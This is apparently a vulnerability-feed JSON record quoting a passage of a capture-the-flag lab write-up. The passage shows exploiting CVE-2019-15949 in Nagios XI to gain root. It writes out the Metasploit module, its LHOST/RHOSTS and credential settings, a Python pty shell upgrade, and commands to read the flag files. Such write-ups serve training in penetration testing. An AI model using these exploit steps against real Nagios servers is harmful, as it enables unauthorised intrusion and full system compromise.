{"uuid": "9a440544-9572-4a66-b192-34fdc8933d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-15949", "type": "seen", "source": "https://t.me/hacking_Attack/2951", "content": "s to a login page. We used the credentials we enumerated earlier to login into the Nagios Framework. <o:p\n\n<o:p https://1.bp.blogspot.com/-ur0w4FmIxag/YGIQKfLCQ3I/AAAAAAAAvIA/QSYUy12IRU8ERtPdeOliXKi1ed2-cIK2wCLcBGAsYHQ/s16000/16.png As soon as we logged in, we are told by the framework that the version that is installed is not the latest and there is an update pending. <o:p http://10.10.133.5/nagiosxi/admin/?xiwindow=updates.php<o:pInstalled Version: 5.5.6<o:pLatest Version: 5.6.12<o:pA quick search on Exploit DB/NIST can provide you with the CVE that the Nagios is Vulnerable to. <o:p Q.6 What is the CVE number for this vulnerability? <o:pAns. CVE-2019-15949<o:phttps://1.bp.blogspot.com/-ZtXTcgAUobQ/YGIQPt-SpbI/AAAAAAAAvII/NnrTC-UzmoA9bgm9NYUbViArMnzUXNmNQCLcBGAsYHQ/s16000/17.png This is where we ran the Metasploit Console on our Kali Linux, we searched for Nagios and found that it is vulnerable to a Remote Code Execution. The hint at the start of the machine also tells us that we will have to use an RCE to crack the machine. This means that we are on the right path. <o:p search Nagios XI<o:p<o:pQ.7 Now that we've found our vulnerability, let's find our exploit. For this section of the room, we'll use the Metasploit module associated with this exploit. Let's go ahead and start Metasploit using the command `msfconsole`.<o:pAns. No Answer Needed<o:phttps://1.bp.blogspot.com/-iJi-SeMjdQk/YGIQS-9hfpI/AAAAAAAAvIQ/u9unyQemcd4Xw9-dl1JtzxICoCihusOwACLcBGAsYHQ/s16000/18.png Q.8 After Metasploit has started, let's search for our target exploit using the command 'search applicationame'. What is the full path (starting with exploit) for the exploitation module?<o:pAns. exploit/linux/http/nagios_xi_authenticated_rce<o:pWe selected the module and provided it with the required options. It requires a Local IP address. Be sure to give it the IP Address provided by the VPN. Then the IP Address of the Target machine. Since it is an authenticated Remote Code Execution, means that we will have to provide the credentials as well. After setting all the variables, just sit back and let the Metasploit do its work. <o:p use exploit/linux/http/nagios_xi_authenticated_rce<o:pset LHOST 10.17.0.111<o:pset RHOSTS 10.10.133.5<o:pset USERNAME nagiosadmin<o:pset PASSWORD n3p3UQ&9BjLp4$7uhWdY<o:pexploit<o:phttps://1.bp.blogspot.com/-cc_ehup6HkU/YGIQWgZ2AZI/AAAAAAAAvIY/HlCrILtw3aUhCeFJ4ENyIWzhEB1Lq5VkQCLcBGAsYHQ/s16000/19.png We got the meterpreter. We proceeded to run the shell command to get the bash on the target machine. We upgraded the shell to a TTY shell using Python. We ran the Whoami command to find that it was already root shell.<o:p shell<o:ppython -c 'import pty; pty.spawn(\"/bin/sh\")'<o:pwhoami<o:pcd /home<o:pls<o:pcd galand<o:pcat user.txt<o:pcd /root/<o:pcat root.txt<o:p<o:phttps://1.bp.blogspot.com/-MQOyZ8Ni2IU/YGIQb94kZYI/AAAAAAAAvIc/daLdhqdclQYNgdGmQ_1j_iaWvWym6iQTwCLcBGAsYHQ/s16000/20.png Getting root directly means that all we needed to do is read the flags to conclude this machine. <o:p Q.9 Compromise the machine and locate user.txt<o:pAns. THM{###############################}<o:pQ. 10 Locate root.txt<o:pAns. THM{###############################}<o:pThis machine was quite interesting and We had quite fun while solving it. <o:p\n\nThings that we learned, A quick recap.<o:p\n\nSymbolic Annotation of Elements and Atomic Numbers, Piet Programming Language and its interpterion Exporting Images into new formats using GIMP, Downloading and Building an Interpreter from Source Code. Importance of Extension-based Dirb Scan, Nagios Framewor[...]", "creation_timestamp": "2026-09-02T01:03:25.673780Z"}